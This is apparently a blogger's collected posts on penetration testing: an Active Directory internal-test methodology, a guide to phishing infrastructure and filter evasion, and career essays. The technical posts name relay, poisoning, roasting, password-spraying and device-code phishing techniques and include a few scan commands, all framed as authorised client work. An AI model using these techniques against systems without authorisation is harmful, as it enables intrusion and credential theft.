HUMAN TOUCH - Why Manual Testing Still Matters, CYBR.SEC.CON. September 15, 2026

noreply@blogger.com (SavvyGeek) — Sat, 10 Oct 2026 15:19:07 +0000

Here's the video recording of my talk, courtesy of CYBR.SEC. Community:

HUMAN TOUCH: Why Manual Testing Still Matters, was about the importance of manual testing.

In the meantime, I want to take the opportunity for a quick video with tips for first time speakers and considerations about why you might want to challenge yourself and dare submitting a talk at any conference.

Enjoy!!

Tips for an Information Security Analyst/Pentester career - Episode 1: General hints and initial technical recommendations

Find domain controller IP:

In the output from the script, the IP listed under Server Identifier is the DC's IP. Alternatively, some clients may have multiple IPs listed via their DNS server, which can point to other DCs. A common scenario since since some AD environments create primary and backup Domain Controllers, to maintain resilience against potential outages.

Anyhow, a foolproof method to discover the DC IP is to check whether TCP port 88, associated with Kerberos authentication, is open. This can be simply done through netcat (nc -nv $DC-IP 88), as shown in this example from my test lab.

DC IP Found through netcat

Initial Host Discovery: The first step is host discovery, which can be conducted using the ARP protocol. This step can be very effective for networks which are not segmented into various VLANs, allowing discovery of all running hosts. The syntax would be as follows: arp-scan -l (Network interface). With some use of Linux power tools, we can retrieve a list of hosts which can then feed into further scans to support profiling and service/version detection.

Nmap discovery and profiling scans: Host discovery will identify live in-scope hosts. i.e. hosts which contain listening services, exposing open ports. With a list of live hosts, we now need to know what services they run (and especially service version(s) are in use), to tailor our attacks, so we move to the “services profiling stage”. For this purpose, especially for a high number of live hosts, I tend to scan specific ports, hosting potentially interesting services. An example of a scan I’d use is as follows:

nmap -iL live-hosts.txt -p 21,22,23,53,80,88,111,139,389,443,445,636,1433,2049,3306,3268,3389,5985 --open -vv -sCV -oA initial-profiling-tcp.

With this information, we need to identify what hosts don’t enforce SMB signing, especially for targeted tests (for comprehensive tests, Nessus often identifies this specific vulnerability right away). The easiest way to do this is to leverage the smb-security-mode Nmap script. This information is needed to perform a relay attack through Responder + impacket-ntlmrelayx.

Another important information to look for is whether any of the live hosts identified support SMBv1, subject to multiple vulnerabilities. For this purpose, the smb-protocols Nmap script comes in very handy, with NetExec as a failover option. Many RCE vulnerabilities affecting SMB, including ETERNALBLUE, require for SMBv1 to be enabled.

USERNAME ENUMERATION

Username Enumeration: As part of the enumeration phase, discovering usernames is a crucial and key step which can be executed in various ways. One method is to run a passive network sniffer (and credential grabber) Responder. Responder not only gives you a username you might need to authenticate to the target AD domain, but also provides their NTLMv2 credential hash which can be used to crack offline or with tools such as ntlmrelayx.

On the other hand, if you’re aware of the naming convention of the usernames in the domain, we can opt to use a specific RPC endpoint named dsr_getdcnameex2, which will provide us with valid usernames if automated correctly. More information on using this endpoint can be found here: https://sensepost.com/blog/2018/a-new-look-at-null-sessions-and-user-enumeration/

Username enumeration: it’s now time to try finding valid AD accounts. Though this can be done in multiple ways, my favorite strategy leverages ldapnomnom along with statistically likely usernames. An example command for a Hack The Box machine is shown below.

Username Enumeration

AD FOOTHOLD STRATEGIES: The previous stage leads us to a list of valid AD accounts, so the next logical step is to either find a password for at least one of them, or attempt to relay the existing credentials using relaying tools such as mitm6 or ntlmrelayx. Upon recovering a password, additional enumeration pathways and potential privilege escalation vectors can be unlocked.

AS-REP-ROAST Attack: We don’t need a password to run this attack, we can leverage a script named impacket-GetNPUsers from the Impacket Framework. If we can find at least one user configured with no Kerberos pre-authentication, we can grab their password hash and attempt cracking it offline with either John the Ripper or Hashcat depending on your setup being CPU or GPU intensive. The chances to recover the plaintext password are dependent upon the client’s password policy, because the stronger it is, the less our chances of success. As a result of that and as a general rule, don’t sit on your hands waiting for the hashcat results, always keep the ball rolling by exploring other attack and enumeration pathways.

Man-in-the-Middle Attacks: If LLMNR/NBT-NS protocols are enabled, as it can be in the majority of networks I’ve tested,we can leverage a vulnerability that makes them susceptible to MitM attacks. In other words, we can poison a connection request from a domain-joined computer communicating with the domain controller, redirecting it to our attacking computer through the use of Responder. In consequence, we can grab a NetNTLMv2 password hash for the user which performed the connection attempt. If we get lucky, we can relay the hash to other computers hosting SMB shares without enforcing SMB signing. Alternatively, if relaying is not an option, we can resort to attempt cracking the hash offline.

This attack can potentially allow us to progress, but may require multiple attempts to succeed and has the potential to cause network disruptions. Therefore, it would be courteous and recommended to give your client a heads up before doing so. On the other hand, a consultant must use their best judgment to decide whether the client should be contacted with the interest of time being a key factor. The last thing you need is causing your testing activities to become stuck due to waiting for client input.

These situations should always be avoided, especially if the client has not demonstrated a responsive attitude to your communications during the pre-sales, scoping and authorization stages of the assessment. Alternatively, another tool that can be used for MitM attacks is mitm6, leveraging an alike vulnerability with IPv6 and the DHCPv6 protocols by spawning a rogue DNS/DHCP server using the IPv6 protocol. Since Windows gives IPv6 addressing priority by default, the use of mitm6 causes all users on the network to use your attacking device for communications to the domain controller, allowing for potential capture of valuable information stored on the target domain. Over time, mitm6 with SOCKS has become my go-to. IPv6 traffic is normally allowed on internal networks and its vulnerabilities can allow an attacker to successfully authenticate as a valid user without needing to know the plaintext password.

Password Spraying Attacks: We can use a tool like kerbrute to try common passwords against the initial list of users we were able to enumerate. Once again, it’s a matter of luck, even though some OSINT on the client may suggest potential password patterns we could attempt. Other than during this initial stage, password spraying can be conducted to test for password reuse, hoping for an administrator account to use a weak password we discovered. A word of advice: this tool can lead to large scale AD account lockouts if used recklessly, as I have learned firsthand through experience. To minimize potential issues, make sure to always use the --safe option to suspend the attack when an account comes back as locked, reduce the number of threads (-t4 or -t2 are a safe choice) and to enable verbose output (--verbose). Also, it might be more prudent to spray small groups of users instead of all of them at the same time. These days, though, I'm normally using another tool (spray.sh) as a bug was discovered in kerbrute leading to multiple account lockouts.

Enumerate SMB Shares (Null Sessions): If we can enumerate SMB shares without authentication, we could find some interesting files containing cleartext credentials or other useful information. We can do that through NetExec and MANSPIDER. The latter tool also allows you to search for specific keywords of interest.

Mountable NFS Shares: Same considerations as above apply here, provided the NFS shares can be mounted to the local filesystem through the mount command. Potential NFS shares and associated permissions can be enumerated via NMAP and the showmount binary using the -e switch.

Web Services Recon: Time to analyze what’s running on web ports, using EyeWitness or Gowitness. If we can find network printers or multi-function devices accepting default administrative credentials, we might be in luck. In fact, if such devices support LDAP and this protocol is configured using a domain account and a hardcoded password, we could conduct a pass-back attack and recover the password in cleartext. All we need to do is edit the configuration, change the IP address for the DC to our IP, and then run a connection test. This is a very common attack vector. As a matter of fact, these devices are often configured with standard or no credentials in the name of convenience, because they were installed and forgotten or because internal security tends to be an afterthought compared with perimeter security due to being largely inaccessible from the outside thanks to core network designs such as NAT.

Other than this, web applications can sometimes be accessed with default credentials and contain user account information or other sensitive data that can be leveraged for a foothold. One notable case is associated with a version of Jenkins accepting standard credentials or configured without authentication, but there can be so many different scenarios that manual testing is absolutely compelling, and we can’t fit all possible attack vectors in this post. In other words, enumerate, enumerate, enumerate!
Web Directory Enumeration: Web apps can sometimes include pages containing useful information, so it can be worth enumerating the robots.txt file and other important directories. My go-to tools for this are gobuster and dirsearch.

Anonymous FTP: FTP servers can sometimes allow anonymous login and enable an attacker to recover sensitive files. It’s something you need to try but has a low likelihood of being successful, in my experience.

RCE Vulnerabilities: During internal pentests, it’s not so uncommon to identify remote code execution vulnerabilities rated as critical or high, often originated from missing security patches or unsupported versions of Windows and/or other software (such as ETERNALBLUE, BlueKeep, PrintNightmare, PetitPotam, etc.) allowing an unauthenticated user to fully compromise the target host(s). At a first look, these situations could seem to be very promising, as some of these issues could allow an attacker to obtain SYSTEM access to the target hosts, however not so fast.

In fact, other important considerations are in order:

Can the exploit cause disruptions to the client’s operation? Some of the exploits for the specific vulnerabilities mentioned above are known to cause crashes. Regardless, for lesser-known exploits, we can’t exclude that this could happen as well and we don’t know if the affected hosts are strategic to the client’s business, so our best option is to document the vulnerability through an auxiliary module or the check functionality of the exploit (when supported by the specific Metasploit module) and contact the client for guidance. The client might be comfortable with an exploitation attempt or not but never skip this step, if you don’t want to end up a creek without a paddle!
Is it worth running it for the target hosts? Sometimes the vulnerable hosts aren’t even domain-joined, because they’re located in kiosks or other isolated workstations. In these cases, compromising the target host(s) would lead nowhere and IMHO risks overweight benefits. So, I report the vulnerability right away, but I don’t even ask the client for authorization to exploit it, as I could perform no lateral movements afterward anyway. Another scenario that can lead to the same conclusion is when some situations causing tensions or contention with the client, like crashes, account lockouts or network disruptions have occurred during the test, so you want to avoid any further problems that could impact the client’s experience.

Ask the Client for Credentials: I consider this as the last resort, and I treat it a lot like a personal defeat, but sometimes you need to swallow your pride and ask the client for a standard AD user account to conduct further testing as part of the assessment, to provide more value in the remaining time of the testing window.

I believe demonstrating a vulnerability which allows you to get an AD foothold totally on your own adds more value but sometimes you can run out of choices. When the client does most things right, a tester might not be able to access the usual attack vectors granting a foothold. For example, disabling LLMNR and other vulnerable protocols whilst monitoring alternative communication protocols such as IPv6 for malicious activity would greatly reduce the attack surface but, even without going that far, adopting a strong password policy would go a long way. In fact, even grabbing password hashes leads you nowhere if the client uses a 12+ -character password policy.

The concept of a strong password policy deserves an additional consideration. Other than on the minimum password length allowed, a strong password policy relies on the complexity rules enforced. In fact, a password like Winter2025!! will formally respect a 12-letter minimum complexity policy as it contains uppercase and lowercase characters, numbers and special symbols but, as it includes a common dictionary word and a predictable pattern (Season + Year + Special symbols), it's indeed very weak. If one or more AD user accounts are configured with such a password, an attacker can easily collect it both in cleartext through a password spraying attack or by subjecting the retrieved password hash(es) to an offline recovery attack through John The Ripper or Hashcat.

If an organization adopts filtering solutions that prevent users from creating such passwords, this goes a long way preventing or frustrating most opportunities for attackers to gain an initial foothold, move laterally or achieve a privilege escalation. Also, enforcing SMB signing on all hosts prevents most common Man-in-the-Middle attacks that could allow an attacker to capture password hashes for valid AD domain users.

As a result of that, I have had cases where I could exploit AS-REP-ROAST and Kerberoasting and I also retrieved a hash via Responder, but I was unable to crack any of them, so I got stuck. In fact, NetNTMlv2 password hashes can only be relayed and not passed around (Pass-The-Hash), so if the relaying is unsuccessful, we’re out of luck.

Regardless, most enumeration and privilege escalation vectors require authentication. As such, concluding the engagement here without conducting further authenticated tests wouldn’t be very helpful to the client.

AUTHENTICATED ATTACKS / DEEP DOMAIN ENUMERATION / PRIVILEGE ESCALATION

Deep Domain Enumeration: With valid credentials, we can now use various tools such as: BloodHound Legacy, BloodHound CE, PlumHound and ldapdomaindump to conduct further enumeration and analyze potential privilege escalation vectors. Ideally, we want to enumerate all domain users and associated groups in order to identify any opportunity of gaining domain or enterprise administrator access across the Active Directory estate. We also want to further enumerate available SMB shares leveraging the credential provisioned, especially when null sessions aren’t supported.

AUTHENTICATED ATTACKS

Kerberoasting: We can now conduct an attack against the Kerberos authentication protocol known as Kerberoasting. If successful, the attack allows all users on the AD environment to retrieve the password hashes for affected Active Directory account(s) which have an SPN (Service Principal Name) associated to them.

PRIVILEGE ESCALATION

Active Directory Certificate Services (AD CS): These services can be subjected to multiple vulnerabilities allowing a domain user or a domain machine account to request a certificate for any other user or machine account, including domain administrators, allowing for an opportunity of privilege escalation from a domain user to an administrator. Depending on the specific AD configurations, there can be multiple additional privilege escalation vectors, so many that cover all of them here is impossible.

CONCLUSIVE THOUGHTS

A point that’s often misunderstood is the escalation of one’s privilege from a standard user to domain/enterprise administrator is not always the ultimate goal of an internal pentest or the most effective outcome to discuss during the reporting stage. Alternatively, a strong focus towards accessing sensitive and confidential data on the internal network and explaining the potential business impacts of a live incident is far more beneficial to the client.

I previously reviewed a report which exemplifies the above point very effectively. The tester had captured a password hash belonging to a domain administrator and, as it happened to be associated with a weak password, the tester could collect the cleartext password which was cracked, and log on to the DC as an administrator; but that was it. The tester demonstrated no impact such as retrieval of confidential information with administrative access. On the contrary, I was sometimes unable to gain DA (Domain Administrator) access, yet found plenty of confidential data stored in plaintext across the network that the client was not at all concerned about that.

I have developed more experience dealing with this concept recently, but I refuse to hide that being unable to escalate my privileges had certainly caused me a lot of frustrations over my time as a penetration tester!

Conclusively, we have reached the end of this journey of post 100: From Zero to DA. If you got this far, I hope you learnt one thing or two along the way.

I hope you enjoyed the trip!

Kickoff call with the client: you need to ask two fundamental questions:

Do I have to define a list of targets or will you provide one?
Do you want for me to provide potential attack scenarios or do you have some specific scenarios in mind?

The answers to these questions define the level of effort expected from you. Though OSINT is always needed, if the client can provide at least one of the above elements, that can save a lot of time and stress, as these engagements don't normally last very long.

OSINT stage: is paramount for the campaign's success and the sooner it's started the better. Ideally, one should begin doing this at least two weeks before the engagement kickoff date, but it's not always possible. We need to know all we can about the target organization to make our message look more credible: company logos, corporate culture, preferred fonts, email signatures, mergers, recent news, technology stack, social media presence, potential targets for impersonation, etc. The final email must look and feel to the reader as it might come from within the target organization, so they're more inclined to click the link.

PREPPING INFRASTRUCTURE: I'll delve deeper with the related settings in the video demo, however the basic steps are as follows:

Have an aged domain at hand, ideally purchased over 90 days earlier than the start of the engagement and never used in prior phishing engagements, to host the phishing server. Domains that are newer than 90 days can more likely get flagged as suspicious and blocked by email defense mechanisms.

Create an AWS EC2 instance to host your phishing server: in your security settings, edit inbound rules by restricting SSH access to your public IP and opening TCP and UDP ports 53, 80, 443 and 8443 to everyone (select Anywhere-IPv4).

Properly categorize the domain: make sure the phishing domain is included in a category rated as low risk, such as Blog, business, computing, etc. This is important because organizations block domains that are either unclassified or ranked as malicious, which efficiently thwarts potential attacks (ever happened to try visiting a page only to receive a message such as "this page is unavailable due to policy restrictions"?). Without a proper domain categorization, all the hard work going through the target organization's defenses could be totally useless. For this reason, after uploading real contents to your website, submit its URL to databases such as this one. Go ahead with your efforts only after your domain receives the correct categorization from multiple databases. Below is an example of an email received for a successful categorization request.
Use credible servers: in a real-world assessment, I'd use something like an Office365 account to send the emails from my "clean" domain, and they will most likely go through. However, in my demo I'm going to use a Gmail account cause it can be set up more quickly.
Install and configure phishing software: For non-evasive gigs, the set up used to send phishing email includes GoPhish, in combination with a sending service such as Mailgun. For evasive gigs, though, the set up must be different. In fact, Mailgun IPs are often blacklisted because a lot of people use them for spamming purposes. I was very successful adding an aged domain to Office365 and creating a custom user to send emails from such domain. For evasive gigs, a very common tool is Evilginx, a reverse proxy allowing to clone a page belonging to the target organization and use it to steal user credentials, including MFA tokens. I'm not gonna delve with Evilginx here, even because some peculiarities with the client's network environment led me to prefer another tool, called SquarePhish, that I'm going to demo.
Personalize and improve email template: Before kicking off the campaign, it's paramount to work on the email template, to make sure it looks credible enough to convince a user to unconditionally click the link. That requires a lot of OSINT and hard work, other than attention to details. An error here could compromise the final outcome of the campaign. You can assess how likely your email template can go undetected by using tools like Mail Tester or Spamcheck. The higher the score the better the email template.

DEMO

The tool I'm going to demo, SquarePhish, uses a technique combining the OAuth Device code authentication flow and QR codes. The victim receives an email containing a QR code that they should scan with their phone to renew their (allegedly) expired Microsoft Authenticator MFA token. After that, they receive another email with a device code to be entered at the related Microsoft login page. At that point, the phishing server will gather the user credentials submitted and save them to a file. Check the video for more details.

Wrap-up

Here's what I learned from this experience:

Evasive spear phishing is hard. Deploying the infrastructure the proper way is time consuming and challenging, so prepare ahead of time and don't rush through things. A small mistake could get your domain burned and the engagement go sideways before even getting started. Put the needed effort into getting as best results as possible.
Don't waste precious time insisting on solutions that are clearly not working and have back up solutions handy.
Ask the client for clarifications as soon as needed.
Be as thorough as possible with your OSINT and leave no stone unturned. This can be challenging when juggling multiple projects.

My last campaign was a nightmare but I ended up learning a lot from it. When I started seeing hits on my phishing server, I almost couldn't believe it and I felt very proud. I feel I could've done better with the email template but multiple setbacks caused me to almost run out of time.

FINAL LESSONS LEARNED

PREPAREDNESS: get started as soon as possible to account for technical issues, setbacks or client's slow response times.
CREDIBILITY: Be creative and try to put yourself in the target employees' shoes. Were you to receive such an email, would you click the link or would you recognize potential red flags? The answer to this question can guide you to the best solution for the specific assessment. Don't forget spear phishing is based on social interactions, so some understanding of human psychology and social dynamics can go a long way. As a result, it's a much more challenging task than a simple pentest, because it's about technical and social engineering knowledge at the same time.

I feel I've become a more well-rounded consultant after learning from my mistakes and being able to deliver regardless. This is surely another stepping stone towards red teaming, that shows how hard it is to get good at that.

I expect hardships but I also believe nothing is 100% impossible, and that's how I learned the (few) things I know.

Nowadays, on social media, on news channels and all over the place we are bombarded with "experts" and marketers complaining about a huge cyber security skills shortage.

All these guys keep re-sharing and re-circulating the same pile of crap over and over through copy/paste without understanding a thing.

This industry needs to face unpopular but necessary truths once and for all, like a sick man needing to chug down a bad medicine. Enough is enough.

via GIPHY

No certification guarantees a cyber security job, even though someone has the audacity to charge $ 5,000 for an OSCP bootcamp these days, just based on this assumption. Please cut this crap! If I was asked to hire somebody and I should choose between a candidate having OSCP with zero experience and another one with a longtime background as a help desk, I’d always pick the most experienced candidate.
Infosec isn’t only pentesting/hacking. There’s a whole world out there beyond that, including blue teaming, IoT, ICS, DevOps, you name it. Don’t narrow your focus unnecessarily. I started out as a SOC Analyst and experiencing the other side of the house made me a better hacker than I’d have been otherwise.
Pentesting, and especially consulting, isn’t for everyone. It’s a matter of hacking mindset and soft skills. Without those requirements, sorry but it might not be for you. People who don’t know how this work is done think we discover stuff out of magic. There’s one only secret in this industry: never give up. Giving up is easy but gets nowhere. Most people overly rely on automated tools and believe that, if the vulnerability scanner didn’t discover anything, there’s nothing else to do, or that, if a page is protected by a WAF, there’s nothing one can do to hack it. A hacking mindset implies the firm belief that anything can get hacked, and there’s always something to discover. Tools like firewalls are implemented by humans, and humans sometimes mess up and make mistakes. A hacker needs to think of what a non-security-aware user might do, because this often sets them up for the win. Remember, humans are lazy and they're always going to choose convenience over security. Especially for consulting roles, soft skills are also important and much harder to be taught than technical skills. Knowing how to deal with clients and communicate with them professionally is paramount to make sure clients are happy and keep coming back. For this reason, IMHO guys having a background as help desks/sysadmins can thrive in info sec, compared with other guys having a different background, because they already know how to deal with difficult clients and make them happy.
The industry isn't as thriving as they let people to believe. I often see professionals of a level comparable to mine announcing on LinkedIn they got laid off. Well, not so infrequently I see the same guys still unemployed after 6-8 months. I don't know what exactly is going on but I heard of situations when they have been asked to take a pay cut by potential employers, which is a huge red flag. Also, the harsh truth is companies don't want to hire people with zero experience, they want a superstar for an intern's pay, which is called being a user, where I come from. Clearly, these job postings go unfilled; people aren't as dumb as they'd like for them to be.
If one wants to stand out, create experience from nothing: volunteer for hacking conferences, create a local hacking group, start a technical blog, play around in your own lab, but avoid at all costs sitting on one’s hands waiting for something to happen. Doing what 99% of people do will get what 99% of people get, i.e. failure.

It's time to say exactly where things stand in infosec and they're not like they want people to believe. This deception will lead us nowhere and hurt both security actors and their clients, so we're in for a lot of pain.

Are you ready?

Tim Connel's series of posts titled "Do you want to be a great pentester?" and came up with some ideas of mine. I like the guy and his contents and I mostly agree with his views, but I'd beg to differ on a couple of points.

This post doesn't want to be an attack or a harsh criticism of Tim's contents. Man, I admire you and what you do, I only want to offer a different point of view and an additional contribution, open a conversation, if you want. I write this stuff out of passion, I never gained one cent out of it, plus I consider myself a perfect nobody.

My View

I thought of providing a personal contribution about how one can up their game and get better with their craft.

The way I see it, rather than being a great pentester, one should want to become a better consultant.

It's not only a semantic distinction. A security professional can really make a difference only when they can have a dialogue with clients, educating them on the business impact of specific vulnerabilities and on the associated remediation strategies. Clients need to see a security professional as a trusted partner they can count on, not like an enemy shaming their blunders.

Now, pentesters aren't always client-facing. With my prior company, I wasn't.

I participated in client kickoff and debrief calls but all the communications with the client were managed by my boss, so while I grew a lot in terms of technical background, this ended up holding me back, and I wasn't even realizing how much so until I moved to Optiv.

Now, as far as the client is concerned, I am Optiv, so I need to be impeccable and behave as a subject matter experts, even when sometimes I'm not 100% sure. I'm in charge of the project from start to finish. If a problem arises with the client or technical issues cause hold ups, I'm the one who needs to troubleshoot it with the client, and do it in a professional and personable way. This can pose a challenge when the client's unresponsive and time's ticking off.

As a result, I've accomplished way more over my tenure at Optiv so far than what I had done during the previous four years with the other company.

A consultant is called to develop a culture of service and to strike a delicate balance between keeping clients happy and drawing a line when their demands are too unreasonable. Consultants need to know when a battle is worth fighting and when it's not.

Beyond the different formal job descriptions between different companies, I personally believe that, if we look at the contents of a specific role, a consultant is next level compared to a simple technical tester.

One can be a technically amazing tester but they don't make a real difference if they can't communicate with the client and explain their findings. Clients will feel frustrated, won't understand the impact of the vulnerabilities found, so they won't remediate them and will rightfully think all pentesting companies are snake oil sellers. Plus, these pentests are all but cheap, guys, so you want to make sure clients have value from what they paid for.

My Contribution: How To Learn from Your Mistakes

Penetration testing, and especially consulting, is learned by doing.

The only way to learn is to make mistakes. There's a value in making mistakes, but only if one learns from them and does not repeat them in the future.

For this reason, I've been keeping a file with lessons learned over the years, so I can refer back to them and avoid finding myself in unpleasant and/or problematic situations I incurred in the past. Of course I never include clients names or any references to specific projects I worked, I'm not that stupid. An example entry is shown below.

One tends to forget what happened over a specific engagement years ago, so one could have to face an alike situation repeating the same mistakes. Well, unless one can have a look at the solution adopted previously.

I also take note of how I troubleshot specific error messages, so I don't have to waste hours on a frenetic Google Search, or ask someone the same questions over and over again. This gets people mad, so the more it can be avoided the better.

This simple trick saves time and helps me get better at doing my job.

I'm curious to hear about other ideas I haven't yet thought about.

Feel free to contribute, if you'd like.

AS-REP Roasting.

Image source: https://akijosberryblog.files.wordpress.com/2018/01/kerb_auth.png

Assumptions

We were given access to the internal network and a valid IP for it. This is how internal pentests are normally conducted.
We discovered the DC IP address.
We discovered multiple valid domain users but not a valid password, so our attack surface is very limited until we can find a valid set of credentials.

The attack scenario is based on a misconfiguration where one or multiple domain accounts are configured to not require Kerberos pre-authentication.

The Kerberos authentication process starts when a user sends an Authentication Server Request (AS-REQ) message to the domain controller (DC) to access a resource. The timestamp on that message is encrypted with the hash of the user’s password. If the DC can decrypt that timestamp using its own record of the user’s password hash, it will send back an Authentication Server Response (AS-REP) message that contains a Ticket Granting Ticket (TGT) issued by the Key Distribution Center (KDC), which is used for future access requests by the user.

If pre-authentication is disabled, an attacker could request authentication data for any user and the DC would return an AS-REP message. Since part of that message is encrypted using the user’s password, the attacker can then attempt to brute-force the user’s password offline.

This attack can often provide a foothold to AD, if any accounts exist that are specifically configured with pre-authentication disabled and weak passwords.

Check the embedded video for more details.

Do you want to know a simple but little-known secret to be successful in info sec and offensive security?

The secret is to BADHB: Be A Decent Human Being (in other words, don't be a jerk).

Most people think success in this industry is only a matter of technical skills, and you do need them to get hired.

Once you get the job, though, it's all a matter of soft skills and of knowing how to relate to other people the right way.

Some tips:

v Say thank you when someone helps you, don't give other people's time for granted. If you want for clients and coworkers to respect your time, do start respecting theirs.

v Give people credit when they do right and demand credit when you do right.

v Be professional at all times, especially and above all when you're upset. Even when you're professional 99 times out of 100, people will only remember about that single time you messed up.

v Keep your manager in the loop, especially in difficult situations when you need help. Speak up immediately when issues arise that can cause holdups and hurt your project.

v Own mistakes publicly, learn from them and move on. Don't be afraid to make mistakes, as it's a learning process, but avoid repeating the same mistakes twice, as long as you can.

v In general, treat your team members with respect, and demand respect for yourself and your work.

v Create connections across the organization, not only with your direct team members, but also with other teams within the company. New opportunities might come around that couldn't happen otherwise, and it might come a time when help from other teams is of the essence.

v Build your own brand. Make sure to get official feedback on your work, and to stand out for doing excellent work, not for messing up or being a troublemaker. Better be the talk of the company for standing out than for sucking.

v Be nice. Basic politeness goes a long way in info sec. Sadly, as Warren Buffett said once, busy is the new stupid now. Many people use that as an excuse not to get back with responses, not to deliver on promises, not to provide updates when they're expected to, and in general they feel this is a pass for them to be rude. Don't be like that. Info sec isn't unlike any other human activities under this point of view. People expect to be treated with respect, so they will look favorably at who does so, and will give them their respect in return. Apart being a winning strategy, this is how human beings are meant to treat each other.

v Be personable. Be comfortable with the client, don't see them as the enemy. They're not the enemy, and won't be when rapport is developed. Try to understand their needs, break the ice and slide in informal conversation topics. Meet any of their additional demands if the needed level of effort is tolerable and they don't cause major holdups. Make it clear you're on their side, as a business partner, and don't be confrontational, if you can help it. See yourself as an actor on a stage, when on a client call. Lines were memorized, it's no big deal, you're ready for whatever comes and will handle the unexpected. Experience makes it progressively easier, even though it's not always a walk in the park. There's always the occasional oddball client with weird, unheard-of demands.

v Choose what battles to fight for. When the client pushes back on some findings, has additional demands, or wants clarifications, make sure to carefully assess when it's worth fighting back and when it's not. Confronting the client head on is not always the right response, and might lead to customer dissatisfaction and escalations, which should be avoided like a plague. Much depends on what these situations imply, and on what the client attitude is. Sometimes, the client's requests are no big deal and they have valid reasons for them, so I have no problems accommodating them. For example, a client asked me for details on the hostnames associated with specific IPs affected by multiple SSL findings. They were struggling with remediation because they didn't own those IPs and, them being ephemeral, they couldn't find the affected hosts. Over testing for the related project, I had previously performed a Nessus scan on in-scope hostnames, so I simply provided the client with the related file. Result? Problem solved, client happy, PM happy, all happy. I could've said no, I wasn't exactly mandated to provide the client with that info, but what would that have done for me? I'd create a problem, and the client would provide negative feedback on my work. Instead, that client was happy with my work, and I could create rapport. The final result from my action is I worked with this client on multiple occasions, cause I know how to handle them. Of course, the situation is completely different when faced with client’s rude behaviors or unreasonable demands, such as demanding new work when no retest is in scope.

v Don't be afraid of (tough) conversations: Many people in this industry, myself included, are shy and don't like direct or in-person interactions. We feel much more at ease behind a keyboard, using email to solve issues. Unfortunately, written communication isn't always the solution, and it often creates more issues than it solves, because it's prone to ambiguity, errors and typos, especially over time-sensitive contexts. Plus, emails aren't very good at expressing nuances, and the final result of that can be disastrous. Often times, after sending an email, I feel I could've explained my point better and cut to the chase, and sometimes I can't seem to get my point across at all. When this happens, a phone call or a Zoom/Teams call is a way more effective solution to these issues. A voice tone is harder to misunderstand than a written sentence is. This is absolutely paramount when critical findings are discovered.

Conclusions

The above considerations come from hard earned experience.

I'm not a preacher, and don't suggest things I haven't tried on myself first.

I don't know what you think about me (nor I care a lot, to be honest) but I can say for sure that no one gave me a thing for free.

All I have is what I earned working my butt off, and don't know any other way.

I don't believe in luck, but one can create the conditions for good things to happen.

Try this out for 30 days, and you'll thank me later.

That's all for now.

That's when they need to hold tight, observe things under a different angle and/or try out new tools that can offer fresh perspectives.

Over my perimeter pentests, I often feel this pressure, as time's running out and I seem to make no progress. My usual go-to tools only find low to informational issues leading nowhere in terms of exploitation, or the specific in-scope application(s) got patched, and the exploits available for older versions do not work on the version in use.

That's when I delve with manual testing. I don't trust automated tools too much. Blindly relying on automated tools can lead to missing a lot of vulnerabilities, sometimes even critical. I go through a number of manual enumeration techniques, such as:

Track and list in a spreadsheet all significant web hosts, their related URLs, their purpose, their underlying technologies and related vulnerabilities. Specifically highlight login portals.
Screenshot all web hosts to have an overview of what each URL is about. I ended up liking Aquatone best for this, but other tools such as EyeWitness, Scrying or GoWitness are equally valid alternatives. I often make interesting discoveries that way. Sometimes reading the results from Nmap doesn't supply an accurate idea of what application(s) a specific host is running, while a visual inspection may sometimes reveal very interesting details, such as the version of the operating system or web server in use. This, in turn, might lead to identifying specific vulnerabilities affecting that version.
Use Wappalyzer and whatweb to identify the technology implemented by each URL.
Use gobuster for web directory enumeration and nikto for vulnerability scanning on all web hosts. These tools can sometimes identify interesting directories, or potential vulnerabilities.
Don't be afraid to try out new tools. Sometimes a fresh look is what you need to discover stuff you missed, plus a new tool can identify some issues other tools don't, because it leverages new advancements in technology or programming. I recently discovered how impactful a new tool can be in a major way. Nessus had flagged a high finding related to an outdated version of a very popular application, affected by an information disclosure vulnerability. Those vulnerabilities don't normally lead to anything interesting, and I was going through this project in a quite aloof mood, thinking I was wasting my time. However, I had recently read good things about Nuclei, so I decided to give it a go. I immediately found an interesting URL, leading to a page displaying a user profile without needing any authentication to the API whatsoever. The URL I discovered ended up by 1, so I tried changing the 1 to a 2 and ..bingo! I had found another user profile. In other words, I had found an insecure direct object reference (IDOR) that led me to enumerate thousands of valid users for that specific app. I then leveraged this list of users to password spray the related login portal. None of this would have been possible if I hadn't tried out a new tool, though.
Don't be afraid to build your own tools. It doesn't matter if it's only a few lines of code, or they're not super cool, coding per se is a plus. For example, I'm working on a tool that runs Amass, saves the output to a file, and then runs Aquatone on it. Sure, I could use someone else's code but building a tool myself forces me to learn a bunch of things, like how to run an external command in Python through the subprocess module, how to run a ping command through it, etc. Plus, running your own tools, you could implement a unique solution no one's yet thought about. All this will make me a better security professional. If a team works on a tool and everyone contributes with a tiny bit, the end result will be better than anyone alone would accomplish.

Other than that, security professionals need to keep their minds sharp and in good working order. In a recent project, I was basically running on empty for the first two days. Sleeping issues and client-related delays held me back. On day 3, I started fresh after a good night's sleep, and accomplished more in two hours than I had done over the previous two days.

Conclusions

When the game gets tough, the tough gets going.

Giving up is the easiest choice.

Most people give up on anything all the time.

To be successful in the penetration testing scene, persistence, grit and resourcefulness are needed.

Leave no stone unturned and go the extra mile, have no regrets at least.

Don't be afraid to dig deeper and try new things, as this can sometimes lead to the pot of gold at the end of the rainbow.

via GIPHY

Each certifications cost money, and while some are quite affordable (CompTIA, INE, TCM Security), others are a big time investment (Offensive Security, SANS).

Not all certs are created equal, and you don't need all of them. I'd advise against collecting certifications for the heck of it.

Yesterday I read on LI about a guy who achieved 18 certifications in a year, which prompted a series of considerations that became this post.

Certifications vs Experience

Are certs worth it compared with working experience and, if so, when are they worth pursuing?

In my opinion, hands-on experience is way more valuable than certifications. Certifications are only worthwhile when they add new skills to a professional profile.

Anyway, as a general rule, I'd recommend moving from these considerations:

Go for hands-on certs and don't go through multiple choice tests that prove absolutely nothing about the skill level.
Go only for certs adding to a current skill set and don't settle down for less than that. Don't waste time and money on certs that are below one's current skill level.
Additionally, the value of a certification can vary based on the recipient's profile.

In other words, if entry level certifications such as PenTest+, or OSCP can be good to have for who wants to break in the penetration testing industry, or has a junior level background, they're pointless for an intermediate to senior pentester.

